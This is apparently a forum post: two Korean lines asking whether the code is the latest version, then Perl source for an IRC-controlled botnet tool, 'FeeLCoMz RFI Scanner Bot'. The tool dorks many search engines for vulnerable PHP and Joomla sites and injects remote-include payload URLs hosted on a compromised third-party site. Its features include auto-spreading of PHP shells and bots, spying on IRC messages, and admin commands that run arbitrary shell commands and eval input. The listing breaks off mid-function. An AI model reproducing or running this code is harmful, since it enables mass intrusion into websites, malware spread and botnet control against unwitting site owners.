머가바뀐거지히스토리도없구
밀웜옮긴지가언젠데아직도?정말최신버전이맞는건지?

#!/usr/bin/perl

print('
###############################################
## FeeLCoMz RFI Scanner Bot v5.3             ##
## By FaTaLisTiCz_Fx & jooMa                 ##
## ? Feb 2009 - Feb 2010, FeeLCoMz Community ##
## http://feelcomz.co.cc ( in working... )   ##
###############################################
');
######################################################
## Usage:                                           ##
##   perl feelscanz.pl <chan w/o #> <server> <port> ##
## Notes:                                           ##
## + All Parameters are optional                    ##
##                                                  ##
## Features:                                        ##
## + RFI Scanner                                    ##
## + RFI Scan & Exploit (Exploit per engine)        ##
## + Joomla RFI Scan & Exploit                      ##
## + Milw0rm Search                                 ##
## + Google bypass (Using PHP)                      ##
## + Message Spy & Save                             ##
## + Auto Spreading                                 ##
######################################################
## History:
## + Fixed cryptz command (v4.5)
## + Fixed user commands execution by unauthorized user (v4.6) (thanks to ajegile)
## + Added options to enable/disable encrypted password (v4.7)
## + Fixed missing hostname on sublink (v4.8)
## + Added links filter to exclude exploiting bad links (v4.9)
## + Fixed private message scanning (v4.9.2) (thanks to D|ablo)
## + Added spread configuration (v5.0)

use strict;

use IO::Socket::INET;
use LWP::UserAgent;
use HTTP::Request;

my $versi   = "v5.0";
my $cmdpre  = "."; #Command Prefix

##[ KONFIGURASI URL ]##
my $fx29id  = "http://www.onefm.fr/components/com_artforms/assets/captcha/includes/captchaform/id.txt?"; #Fx29ID (Simple) / (Advanced)
my $fx29id2 = "http://www.onefm.fr/components/com_artforms/assets/captcha/includes/captchaform/id2.txt?"; #Fx29ID (Advanced)
my $fx29sh  = "http://www.onefm.fr/components/com_artforms/assets/captcha/includes/captchaform/404.txt?"; #Fx29Sh (Optional)
my $bypass  = "http://cornerbiz.bravehost.com/bypas.php?"; #Google Bypasserz (Optional)

##[ KONFIGURASI SOURCE ]##
my $mysite  = "http://www.onefm.fr/components/com_artforms/assets/captcha/includes/captchaform/"; #Path to Sources URL (Optional)
my $spread  = "http://www.onefm.fr/components/com_artforms/assets/captcha/includes/captchaform/spread.txt?"; #Fx29Spreadz (Optional)
my $joomlaz = ""; #Joomla's Bugs List (Required for Joomla RFI Scanner)

##[ KONFIGURASI IRC ]##
my @servers = ("irc.reserstyle.net","power.reserstyle.net"); #IRC Servers (Separated by coma)
my %bot     = (
 nick    => "DiAblo[".int(rand(100))."]",
 ident   => "Diablo".int(rand(100)),
 chan    => ["#diablocrew#"], #Channels to join (Separated by coma)
 server  => $servers[rand(scalar(@servers))],
 port    => "6667","6668","6669"
);

##[ KONFIGURASI USER ##
## status: admin, user
## cryptz: 0 = Non-Encrypted Password, 1 = Encrypted Password
my %boss = (
 Diablo => {
   pass   => 'italia',
   status => "admin",
   cryptz => 0,
   login  => 0
 },
 Diablo2 => {
   pass   => 'italia',
   status => "admin",
   cryptz => 0,
   login  => 0
 },
);

##[ KONFIGURASI SPY ]##
my %­spy = (
 host   => "", #Channels to show spied text
 chanz  => [""], #Channels to spy (Separated by coma)
 wordz  => ['http://.+?[=]'], #Text to spy (Regex, Separated by coma)
 foundz => []
);

##[ KONFIGURASI BOT ]##
## Options: 0 = Disable, 1 = Enable
my %conf = (
 showsite => 1, #Show link to debug channel (Yes/No)
 linez    => 3, #Lines per message
 sleepz   => 3, #Message delay per linez (seconds)
 rfipid   => 50, #Sites per proccess
 rficnt   => 100, #Counter setting
 rficnt2  => 200, #Counter setting
 timeout  => 4, #Http socket time out
);

##[ KONFIGURASI SPREAD ]##
## Options: 0 = Disable, 1 = Enable
my %­spreadconf = (
 shellz   => 0, #Upload PHP Shell (Yes/No)
 botz     => 1, #Run PHP Bot (Yes/No)
 scannerz => 0, #Run RFI Scanner (Yes/No)
 psybnc   => 0, #Run psyBNC (Yes/No)
);

##[ KONFIGURASI WARNA ]##
my %colz = (
 1 => "8,1[4,1!8,1]11 " , 2 => " 8,1[4,1!8,1]", #Header
 3 => "8,1[4,1#8,1]9,1 " , 4 => " 8,1[4,1#8,1]9", #Proses
);

##[ PARAMETER BARIS PERINTAH ]##
$bot{chan}   = "#".$ARGV[0] if $ARGV[0];
$bot{server} = $ARGV[1] if $ARGV[1];
$bot{port}   = $ARGV[2] if $ARGV[2];

##[ INISIALISASI VARIABEL ]##
my $chanx    = "#diablocrew#"; #2nd Channel to show the results of vurnerable site
my $dbgchan  = "#diablocrew2#"; #For debugging purposes (Optional)
my @chans    = ($bot{chan});
my @badbugz  = ("scan","bug"); #Bad bugs to cancel scanning
my @baddorkz = ("dork"); #Bad dorks to cancel scanning
my @badlinkz = ("access*log","accesslog","awstats","error.log","wwwstats","google.com"); #Bad links to exclude
my $keluar   = 0;
my $sock;

##[ KONFIGURASI LOCALTESTING ]##
my $tez = $ARGV[3];
if ($tez == 1) {
 my $situs = "http://localhost/fx29sh/";
 $fx29id   = $situs."fx29id1.txt?";
 $fx29id2  = $situs."fx29id2.txt?";
 $fx29sh   = $situs."fx29sh.txt?";
}

##[ PROGRAM UTAMA ]##
if (fork() == 0) {
 while ($keluar != 1) { irc_connect(); }
 die("KeLuaR!");
}

##[ SUBRUTIN KONEKSI IRC ]##
sub irc_connect {
 $sock = IO::Socket::INET->new(PeerAddr => $bot{server},
                               PeerPort => $bot{port},
                               Proto    => 'tcp')
                           or die "Error: Ga bisa connect ke ".$bot{server}.":".$bot{port}."!\r\n";
 $sock->autoflush(1);

 irc_nick($bot{nick});
 irc_user($bot{ident});

 my ($baris,$hb);
 my $loginboss = 0;
 my $userstat  = "";

 while ( $baris = <$sock> ) {
   $hb++;

   ##[ PARSING ]##
   my $com;
   my $me = $bot{nick};
   my ($fcom,$dteks,@teks) = split(/\s+:/,$baris);
   my ($duhost,$dcom,$dtarget) = split(/ /,$fcom);
   my ($dnick,$dhost) = split(/!/,$duhost);
   $dcom    = "" unless ($dcom);
   $dtarget = "" unless ($dtarget);
   $dnick =~ s/://;
   $dteks = trimrn($dteks);
   if ($dteks =~ /^[$cmdpre](.*)/) { $com = $1; } else { $com = ""; }

   print $baris."\n$dnick | $dcom | $dtarget : $dteks\n";

   ##[ CEK USER ]##
   if   ($boss{$dnick}) { ($loginboss,$userstat) = ($boss{$dnick}{"login"},$boss{$dnick}{"status"}); }
   else { ($loginboss,$userstat) = (0,""); }

   ##[ RESPON KE SERVER ]##
   if    ($dnick =~ /PING/) { irc_raw("PONG $dteks"); }
   if    ($dcom =~ /001/) { irc_join($chanx); irc_join($dbgchan); foreach my $c (@chans) { irc_join($c); } }
   elsif ($dcom =~ /NICK|PART|QUIT/) { if ( $boss{$dnick}{"login"} == 1 ) { $boss{$dnick}{"login"} = 0; irc_ntc($dnick,"Logout!");  } }

   ##[ PERINTAH PUBLIK ]##
   if    (($dtarget) && ($dtarget eq $me)) { $dtarget = $dnick; }
   if    ($com =~ /^help$/) { bot_help($dtarget,1); }
   elsif ($com =~ /^info$/) { bot_info($dtarget); }
   elsif ($com =~ /^url(en|de)\s+(.*)/) {
     my $url = $2; my $en;
     if    ( $1 eq "en" ) { $en = "Encode"; $url = urlen($url); }
     elsif ( $1 eq "de" ) { $en = "Decode"; $url = urlde($url); }
     msgi($dtarget,"URL $en", $url);
   }
   elsif ($com =~ /^cek\s+(http:\/\/.*[=])/) { cek_shell($dtarget,$dnick,$1); }
   elsif ($com =~ /^respon/) { cek_respon($dtarget); }
   elsif ($com =~ /^milw0rm\s+(.*)/) { milw0rm($dtarget,$1); }
   elsif ($com =~ /^auth$|auth\s+(.*)/ && $boss{$dnick}) {
     my $pass = $1; my $auth = $boss{$dnick}{"login"};
     if ( $pass && $auth == 0 ) {
       if ($boss{$dnick}{"cryptz"} == 1) { $pass = cryptz($pass); }
       if ($pass eq $boss{$dnick}{"pass"}) {
         $boss{$dnick}{"login"} = 1;
         irc_ntc($dnick,"OK ".$boss{$dnick}{"status"}."!");
       }
       else { irc_ntc($dnick,"Error!"); }
     }
     else {
       if ($auth == 0) { irc_ntc($dnick,"Blom auth!"); }
       else { irc_ntc($dnick,$boss{$dnick}{"status"}."!"); } }
   }
   if (($dtarget) && ($dtarget ne $dnick)) {
     if    (($com =~ /^scan\s+(.+?[=])\s+(.*)/) && (fork() == 0)) { s_scanz($dtarget,$1,$2,$hb,1); exit;  }
     elsif (($com =~ /^scan2\s+(.+?[=])\s+(.*)/) && (fork() == 0)) { s_scanz($dtarget,$1,$2,$hb,2); exit; }
   }
   ##[ END OF PUBLIC ]##

   ##[ PERINTAH USER ]##
   if ($loginboss == 1) {
     if    ($com =~ /^help/) { bot_help($dtarget,2); }
     elsif ($com =~ /^join\s+(.*)/) { irc_join($1); push(@chans,$1); }
     elsif ($com =~ /^part\s+(.*)/) {
       my $pchan = $1; irc_part($1);
       for my $i(0..scalar(@chans)) { if ($chans[$i] eq $pchan) { undef $chans[$i]; } }
     }
     elsif ($com =~ /^nick\s+(.*)/) { $bot{nick} = $1; irc_nick($bot{nick}); }
     elsif ($com =~ /^hitung\s+([0-9].*)/) { $conf{rficnt} = $1; msgi($dtarget,"RFI Count",$conf{rficnt}); }
     elsif ($com =~ /^bos$/ ) { my @bos = keys %boss; my $bos2 = join(" ",@bos); msgi($dtarget,"BoZz",$bos2); }
     elsif ($com =~ /^cryptz\s+(.*)/) { msgi($dnick,$1,cryptz($1)); }
     elsif ($com =~ /^logout$/ ) { $boss{$dnick}{"login"} = 0; irc_ntc($dnick,"Logout berhasil!"); }
     elsif (($com =~ /^joomla\s+(.*)/) && (fork() == 0)) { s_scanz($dtarget,"",$1,$hb,3); exit; }
     elsif ($com =~ /^sublink\s+(.*)/) { my @sl = lnk_sub($1); foreach my $e(@sl) { irc_msg($dtarget,$e); } }
     elsif ($com =~ /^http(1|2|3)\s+(.+?)\s+(.*)/) {
       my ($t,$nf,$q) = ($1,$2,$3);
       my $h;
       if ($t == 1) { $h = bukasitus($q); }
       elsif ($t == 2) { $h = bukasitus2($q); }
       else { $h = bukasitus3($q); }
       f_simpan2($nf,$h); ntci($dnick,"SaVeD ($t)",$nf);
     }
     elsif ($com =~ /^regex(1|2)\s+(.+?)\s+(.*)/) {
       my $n = $1;
       my $q = bukasitus($2);
       my $regex = $3;
       if ($n ==1) {
         if ($q !~ /$regex/) { irc_msg($dtarget,"Ga cocok!"); }
         while ($q =~ m/$regex/g ) { irc_msg($dtarget,$1); sleep(1); }
       }
       else {
         while ($q =~ m/<a href=\"(.*?)\">http:\/\/(.*?)<\/a>/g) { irc_msg($dtarget,$2); sleep(1); }
       }
     }
   }
   ##[ END OF USER ]##

   ##[ PERINTAH ADMIN ]##
   if (($loginboss == 1) && ($userstat eq "admin")) {
     if    ($com =~ /^help/) { bot_help($dtarget,3); }
     elsif ($com =~ /^chans/) { my $chans = join(",", @chans); ntci($dnick,"ChaNz",$chans);  }
     ##[ PERINTAH SPY ]##
     elsif ($com =~ /^spy$/ ) { ntci($dnick,"SpY","Host: ".$spy{"host"}." Chans: ".join(",", @{ $spy{"chanz"} })." Words: ".join(",", @{ $spy{"wordz"} })); }
     elsif ($com =~ /^spy(found|show|clear)$/ ) {
       my $n = $1;
       if ($n eq "found") { msgi($dtarget,"SpYFouNd",scalar(@{ $spy{"foundz"} })); }
       elsif ($n eq "show") {
         my $i = 0;
         for my $f (@{ $spy{"foundz"} }) { irc_msg($dtarget,$f); }
         $i++; if ($i % $conf{linez} == 0) { sleep($conf{sleepz}); }
       }
       elsif ($n eq "clear") { $spy{"foundz"} = []; msgi($dtarget,"SpyList","DiBersiHkaN!"); }
       else { msge($dtarget,"Spy","PeRinTah SaLah!"); }
     }
     elsif ($com =~ /^spyhost\s+(.*)/ ) { $spy{"host"} = $1; ntci($dnick,"SpYHosT",$spy{"host"}); }
     elsif ($com =~ /^spychan\s+(.*)/ ) {
       unless ($spy{"host"}) { msge($dtarget,"SiLaHkaN SeT SpyHost TerLebih DahuLu!",""); }
       else{ irc_join($1); push @{ $spy{"chanz"} }, $1; my $chans = join(",", @{ $spy{"chanz"} }); ntci($dnick,"SpYChaNz",$chans); }
     }
     elsif ($com =~ /^spyword\s+(.*)/ ) { push @{ $spy{"wordz"} }, $1; my $words = join(",", @{ $spy{"wordz"} }); ntci($dnick,"SpYWoRDz",$words); }
     ##[ END OF PERINTAH SPY ]##
     elsif ($com =~ /^quit/) { irc_quit("Good Bye!"); $keluar = 1; exit; }
     elsif ($com =~ /^keluar/) { irc_quit("Killed!"); $keluar = 1; system("killall perl"); exit; }
     elsif ($com =~ /^raw\s+(.*)/) { irc_raw($1); }
     elsif ($com =~ /^rfipid\s+([0-9].*)/) { $conf{rfipid} = $1; msgi($dtarget,"RFI Pid",$conf{rfipid}); }
     elsif ($com =~ /^cshell\s+(.*)/) { $fx29sh = $1; msgi($dtarget,"Injector RFI",$fx29sh); }
     elsif ($com =~ /^crespon(1|2)\s+(.*)/) {
       my ($n,$url) = ($1,$2);
       if    ($n == 1) { $fx29id = $url; }
       elsif ($n == 2) { $fx29id2 = $url; }
       msgi($dtarget,"Respon $n RFI",$url);
     }
     elsif ($com =~ /^cspread\s+(.*)/) {
       my $url = $1;
       $spread = $url;
       msgi($dtarget,"Spread RFI",$spread);
     }
     elsif ($com =~ /^\+bos\s+(.+?)\s+(.*)/) {
       $boss{$1}{pass}   = "fx";
       $boss{$1}{status} = $2;
       $boss{$1}{login}  = 0;
       $boss{$1}{cryptz} = 0;
       ntci($dnick,"BoZz","$1 ditambahkan sbg ".$boss{$1}{status});
       msgi($1,"BoZz","Hai $1! Ketik .auth ".$boss{$1}{pass});
     }
     elsif ($com =~ /^eval\s+(.*)/) { eval($1); }
     elsif (( $com =~ /^cmd\s+(.*)/) && ( fork() == 0 ) ) {
       my $cmd = $1;
       if ($cmd =~ /cd (.*)/) { chdir("$1") || irc_msg($dtarget,"Ga bisa ganti dir!"); return; }
       my @output = `$cmd`;
       my $i = 0;
       foreach my $out (@output) {
         $i++; if ($i % $conf{linez} == 0) { sleep($conf{sleepz}); }
         irc_msg($dtarget,"$out");
       }
       exit;
     }
   }
   ## END OF ADMIN ##

   ##[ MATA-MATA ]##
   if ($dtarget ne $spy{"host"}) {
     my $is_spychan = grep $_ eq $dtarget, @{$spy{"chanz"}};
     if ($is_spychan == 1) {
        for my $t (@{$spy{"wordz"}}) {
          if ($dteks =~ /$t/) {
            msgi($spy{"host"},"!",$dteks); sleep(1);
            push @{ $spy{"foundz"} }, $dteks;
          }
        }
      }
   }
   ##[ END OF MATA-MATA ]##
 }
 ## END WHILE ##
}
## END KONEK ##

#########################
##[ RUTIN EKSPLOITASI ]##
#########################
sub s_scanz {
 my ($to,$bug,$dork,$sb,$type) = @_;
 $sb = "Fx".$sb.".txt";
 $dork = bersihdork($to,$dork);
 my %­typez = (
   1 => "RFI ScaNneR",
   2 => "RFI ScaN & ExpLoiT",
   3 => "JooMLa MaSs ScaN & ExpLoiT"
 );
 my $badbug  = cek_bug($bug);
 if ($badbug == 1) { msge($to,"BuG","BuGnya JeLek! ScaNNinG DiCanCeL"); return; }
 my $baddork = cek_dork($dork);
 if ($baddork == 1) { msge($to,"DoRk","DorKnya JeLek! ScaNNinG DiCanCeL"); return; }
 if ($type == 3) {
   my $h = bugjoomla("hitung");
   if ($h == 0) { msge($to,"Joomla","BuGnya Ga BiSa DiLoaD! ScaNNinG DiCanCeL"); return; }
 }
 irc_msg($to,$colz{1}."MeMeRikSa ReSpoN..".$colz{2});
 my $stat = cek_respon($to);
 if ($stat != 2) { irc_msg($to,$colz{1}."ReSpoN Ga BeKerJa! ScaNning diCaNCeL!".$colz{2}); return; }
 irc_msg($to,$colz{1}."".$typez{$type}." DiMuLai!0 ".$conf{rfipid}."/PID 9ID:0 $sb".$colz{2});
 irc_msg($to,$colz{1}."BuGz:0 $bug ") if ($type != 3);
 irc_msg($to,$colz{1}."DoRkz:0 $dork ");
 s_cari($to,$dork,$sb,$bug,$type);
 s_eksploit(1,$to,$bug,$dork,$sb) if ($type == 1);
 irc_msg($to,$colz{1}."".$typez{$type}." SeLeSai!0 $dork 9ID:0 $sb".$colz{2});
 return;
}

sub s_eksploit {
 #Type: 1 = Biasa, 2 = Cari dan exploit, 3 = Joomla
 #Engine: Kosong = Eksploit total, Ada = Eksploit per engine
 my ($type,$chan,$bug,$dork,$tf,$engine) = @_;
 my @prosesbaru;
 my @semuatarget;
 my $hitung;
 my $num = 0;
 my @bugjoomla = bugjoomla($chan) if ($type == 3);
 unless (open(FILEZ,"< $tf")) { msge($chan,"FILE","Ga BiSa BuKa $tf!"); return; }
 while (my $r = <FILEZ>) { $r =~ s/\n//g; push(@semuatarget,$r); }
 close(FILEZ);
 f_hapus($tf);
 my @kotor = lnk_sortir(@semuatarget);
 my @target = lnk_filter(@kotor);
 if (!$engine) {
   irc_msg($chan,$colz{1}."HaSiL PeNCaRiaN0 $dork".$colz{2});
   irc_msg($chan,$colz{1}."ToTaL:0 ".scalar(@semuatarget)." 9KoToR:0 ".scalar(@kotor)." 9BeRsih:0 ".scalar(@target)." 9ID:0 $tf".$colz{2}." ".$colz{1}."ExpLoiTaSi DiMuLai!".$colz{2});
 }
 foreach my $situs (@target) {
   $hitung++;
   if ($hitung % $conf{rfipid} == 0) {
     foreach my $f (@prosesbaru) { waitpid($f,0); }
     $num = 0;
   }
   if ($type == 1 && $hitung % $conf{rficnt} == 0) {
     irc_msg($dbgchan,$situs) if ($conf{showsite} == 1);
     irc_msg($chan,$colz{3}.$hitung."3 ".scalar(@target).$colz{4});
   }
   if ($type != 1 && $hitung % $conf{rficnt2} == 0) {
     irc_msg($dbgchan,$situs) if ($conf{showsite} == 1);
     irc_msg($chan,"9,1 $engine15 ".$hitung."14 ". scalar(@target). " ");
   }
   $prosesbaru[$num] = fork();
   if ($prosesbaru[$num] == 0) {
     if ($type != 3) {
       my $q = bukasitus("http://".$situs.$bug.$fx29id."?");
       if ($q =~ /FeeLCoMz/) { safemode(1,$chan,$situs,$bug,$engine); sleep($conf{sleepz}); }
     }
     else {
       foreach my $bug (@bugjoomla) {
         my $q = bukasitus("http://".$situs.$bug.$fx29id."?");
         if ($q =~ /FeeLCoMz/) { safemode(1,$chan,$situs,$bug,$engine); sleep($conf{sleepz}); }
       }
     }
     exit(0);
   }
   $num++;
 }
 irc_msg($chan,$colz{1}."MeNunGGu ".scalar(@prosesbaru)." PID ProSes EksPLoiTasi..".$colz{2}) if (!$engine);
 foreach my $f (@prosesbaru) { waitpid($f,0); }
 irc_msg($chan,"9,1 $engine 0FiNizZ! ") if ($engine);
}
###########################
##[ RUTIN SEARCH ENGINE ]##
###########################################################################
## GOOGLE  : AOL, *CompuServe, *Mahalo.com, *MySpace, *Netscape, *Ripple ##
## YAHOO   : AltaVista, AlltheWeb, GoodSearch, *Rectifi                  ##
## LIVE    : *A9.com, *Ms.Dewey, *Tafiti                                 ##
## ASK     : *iWon, Lycos                                                ##
## LAINNYA : Abacho, Clusty, Dmoz, Euroseek, Fireball, Hotbot, Mamma,    ##
##           Virgilio, Webcrawler, Webde                                 ##
## * Not implemented yet
###########################################################################
sub s_cari {
 #Type: 1 = Cari saja, 2 = Cari dan eksploit, 3 = Cari dan eksploit Joomla
 my ($chan,$dork,$nf,$bug,$type) = @_;
 my @engz;
 my $key = $dork;
 $dork = urlen($key);
 $engz[0]  = fork(); if ($engz[0]  == 0) { s_engine("google","Google",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[1]  = fork(); if ($engz[1]  == 0) { s_engine("yahoo","Yahoo",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[2]  = fork(); if ($engz[2]  == 0) { s_engine("live","Live",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[3]  = fork(); if ($engz[3]  == 0) { s_engine("ask","Ask",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[4]  = fork(); if ($engz[4]  == 0) { s_engine("google2","Google2",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[5]  = fork(); if ($engz[5]  == 0) { s_engine("altavista","Altavista",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[6]  = fork(); if ($engz[6]  == 0) { s_engine("alltheweb","AllTheWeb",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[7]  = fork(); if ($engz[7]  == 0) { s_engine("goodsrch","GoodSearch",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[8] = fork(); if ($engz[8] == 0) { s_engine("lycos","Lycos",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[9] = fork(); if ($engz[9] == 0) { s_engine("uol","Uol",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[10] = fork(); if ($engz[10] == 0) { s_engine("fireball","Fireball",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[11] = fork(); if ($engz[11] == 0) { s_engine("gigablast","Gigablast",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[12] = fork(); if ($engz[12] == 0) { s_engine("virgilio","Virgilio",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[13] = fork(); if ($engz[13] == 0) { s_engine("webde","Web.de",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[14] = fork(); if ($engz[14] == 0) { s_engine("mamma","Mamma",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[15] = fork(); if ($engz[15] == 0) { s_engine("clusty","Clusty",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[16] = fork(); if ($engz[16] == 0) { s_engine("dmoz","Dmoz",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[17] = fork(); if ($engz[17] == 0) { s_engine("euroseek","Euroseek",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[18] = fork(); if ($engz[18] == 0) { s_engine("hotbot","Hotbot",$type,$chan,$bug,$dork,$nf); exit; }
 $engz[19] = fork(); if ($engz[19] == 0) { s_engine("webcrawl","WebCrawler",$type,$chan,$bug,$dork,$nf); exit; }
 #$engz[20]  = fork(); if ($engz[1]  == 0) { s_engine("aol","Aol",$type,$chan,$bug,$dork,$nf); exit; }
 #$engz[21]  = fork(); if ($engz[2]  == 0) { s_engine("netscape","Netscape",$type,$chan,$bug,$dork,$nf); exit; }
 #$engz[22] = fork(); if ($engz[19] == 0) { s_engine("abacho","Abacho",$type,$chan,$bug,$dork,$nf); exit; }
 irc_msg($chan,$colz{1}."MeNunGGu ".scalar(@engz)." PID ProSes SearCh EnGiNe..".$colz{2});
 foreach my $e (@engz) { waitpid($e,0); }
}
sub s_engine {
   my ($f,$se,$type,$chan,$bug,$dork,$ef) = @_;
   my @hc;
   if    ($f eq "google"   ) { @hc = se_google($chan,$dork,$ef); }
   elsif ($f eq "google2"  ) { @hc = se_google_m($chan,$dork,$ef); }
   elsif ($f eq "aol"      ) { @hc = se_aol($chan,$dork,$ef); } #Unused
   elsif ($f eq "netscape" ) { @hc = se_netscape($chan,$dork,$ef); } #Unused
   elsif ($f eq "yahoo"    ) { @hc = se_yahoo($chan,$dork,$ef); }
   elsif ($f eq "altavista") { @hc = se_altavista($chan,$dork,$ef); }
   elsif ($f eq "alltheweb") { @hc = se_alltheweb($chan,$dork,$ef); }
   elsif ($f eq "goodsrch" ) { @hc = se_goodsearch($chan,$dork,$ef); }
   elsif ($f eq "ask"      ) { @hc = se_ask($chan,$dork,$ef); }
   elsif ($f eq "fireball" ) { @hc = se_fireball($chan,$dork,$ef); }
   elsif ($f eq "gigablast") { @hc = se_gigablast($chan,$dork,$ef); }
   elsif ($f eq "lycos"    ) { @hc = se_lycos($chan,$dork,$ef); }
   elsif ($f eq "live"     ) { @hc = se_live($chan,$dork,$ef); }
   elsif ($f eq "hotbot"   ) { @hc = se_hotbot($chan,$dork,$ef); }
   elsif ($f eq "virgilio" ) { @hc = se_virgilio($chan,$dork,$ef); }
   elsif ($f eq "webde"    ) { @hc = se_webde($chan,$dork,$ef); }
   elsif ($f eq "uol"      ) { @hc = se_uol($chan,$dork,$ef); }
   elsif ($f eq "abacho"   ) { @hc = se_abacho($chan,$dork,$ef); } #Unused
   elsif ($f eq "mamma"    ) { @hc = se_mamma($chan,$dork,$ef); }
   elsif ($f eq "clusty"   ) { @hc = se_clusty($chan,$dork,$ef); }
   elsif ($f eq "dmoz"     ) { @hc = se_dmoz($chan,$dork,$ef); }
   elsif ($f eq "euroseek" ) { @hc = se_euroseek($chan,$dork,$ef); }
   elsif ($f eq "webcrawl" ) { @hc = se_webcrawler($chan,$dork,$ef); }
   my @cl = lnk_sortir(@hc);
   msgr($chan,$se,scalar(@hc),scalar(@cl));
   if (scalar(@cl) == 0) { exit; }
   if ($type == 1) { foreach my $e (@cl) { f_simpan($ef,$e); } }
   else {
     my $ef2 = $f.$ef;
     foreach my $e (@cl) { f_simpan($ef2,$e); }
     if    ($type == 2) { s_eksploit(2,$chan,$bug,$dork,$ef2,$se); }
     elsif ($type == 3) { s_eksploit(3,$chan,$bug,$dork,$ef2,$se); }
   }
}
##[ GOOGLE ]##
sub se_google {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 50; my $max = 3000; my $p = 0;
 #my $url = "http://localhost/search/google.co.id.htm";
 my $url = "http://www.google.co.id/search?num=".$num."&hl=id&q=".$key."&start=".$p."&sa=N";
 my $murl = "http://www.google.co.id";
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q !~ /2008 Google/ ) { msge($chan,"Google","KeNa BaN!!"); @daftar = se_gbypass($chan,$key,$nf); }
 if ( $q =~ /dari sekitar <b>(.+?)<\/b>/ ) {
   my $h = $1; $h =~ s/,//g; msgt($chan,"Google","$h");
 }
 if ( $q =~ /class=b><a href=\"(.*?)\">/ ) {
     my $nxurl = $1; msgn($dbgchan,"Google","$nxurl");
 }
 while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
 for ($p=50;$p<=$max;$p+=$num) {
   $nxurl = "http://www.google.co.id/search?num=".$num."&hl=id&q=".$key."&start=".$p."&sa=N";
   $q = bukasitus($nxurl);
   while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) {  push (@daftar, $1);  }
   if ( $q !~ /<h3 class=r><a href=\"http:\/\/(.*?)\"/ ) { return @daftar;  }
 }
 return @daftar;
}
##[ GOOGLE BYPASS ]##
sub se_gbypass {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 50; my $max = 1000; my $p = 0;
 my $url = $bypass."?key=".$key."&max=".$max;
 my $nxurl;
 my $q = bukasitus($url);
 while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) {  push (@daftar, $1);  }
 return @daftar;
}
##[ GOOGLE MULTI DOMAIN ]##
sub se_google_m {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 50; my $max = 3000; my $p;
 my @doms = (
   "com","ae","com.ar","at","com.au","be","com.br","ca","ch","cl","de","dk","fi","fr","gr","com.hk",
   "ie","co.il","it","co.jp","co.kr","lt","lv","nl","com.pa","com.pe","pl","pt","ru","com.sg",
   "com.tr","com.tw","com.ua","co.uk","hu");
 my $dom = $doms[rand(scalar(@doms))];
 my $url = "http://www.google.".$dom."/search?&num=".$num."&q=".$key;
 my $murl = "http://www.google.".$dom;
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /class=b><a href=\"(.*?)\">/ ) {
     my $nxurl = $1;
     msgn($dbgchan,"Google.".$dom,$nxurl);
     msgn($chan,"Google.".$dom,"LaGi NyAri..");
 }
 while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
 for ($p=50;$p<=$max;$p+=$num) {
   $nxurl = "http://www.google.".$dom."/search?num=".$num."&q=".$key."&start=".$p."&sa=N";
   $q = bukasitus($nxurl);
   while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) {  push (@daftar, $1);  }
   if ( $q !~ /<h3 class=r><a href=\"http:\/\/(.*?)\"/ ) { return @daftar;  }
 }
 return @daftar;
}
##[ AOL (Ga Pake) ]##
sub se_aol {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 1; my $max = 3000; my $p;
 #my $url = "http://localhost/search/search.aol.com.htm";
 my $url = "http://search.aol.com/aol/search?query=".$key;
 my $murl = "http://search.aol.com/aol/";
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /of&nbsp;about&nbsp;<b>(.*?)<\/b>/ ) {
   my $h = $1; $h =~ s/,//g; msgt($chan,"Aol","$h");
 }
 if ( $q =~ /<span class=\"gspPageNext\"><a href=\"(.*?)\">/ ) {
     my $nxurl = $1; msgn($dbgchan,"Aol","$nxurl");
 }
 while ( $q =~ m/property=\"f:url\">http:\/\/(.*?)<\/p>/g ) { push (@daftar, $1); }
 while ( $q =~ /<span class=\"gspPageNext\"><a href=\"(.*?)\">/ ) {
   $nxurl = $murl.htmltourl($1);
   $q = bukasitus($nxurl);
   while ( $q =~ m/property=\"f:url\">http:\/\/(.*?)<\/p>/g ) { push (@daftar, $1); }
 }
 return @daftar;
}
##[ YAHOO ]##
sub se_yahoo {
 my ($chan,$key,$nf) = @_;
 my @daftar;
 my $num = 50; my $max = 8000; my $p = "1";
 #my $url = "http://localhost/search/www.search.yahoo.com.htm";
 my $url = "http://www.search.yahoo.com/search?p=".$key."&ei=UTF-8&fr=yfp-t-501&fp_ip=IT&pstart=1&b=".$p;
 my $murl;
 my $nxurl;
 my $q = bukasitus($url);
 if ( $q =~ /id=\"infotext\"><p> .*? of(.*?) for/ ) {
   my $h = $1; $h =~ s/,//g; msgt($chan,"Yahoo","$h");
 }
 if ( $q =~ /999 Unable to process request at this time/ ) { msge($chan,"Yahoo","Banned!"); }
 if ( $q =~ /<a id=\"pg-next\" href=\"(.*?)\">Next/ ) {
     my $nxurl = $1; msgn($dbgchan,"Yahoo","$nxurl");
 }
 while ( $q =~ m/26u=(.*?)%26w=/g ) { push (@daftar, $1); }
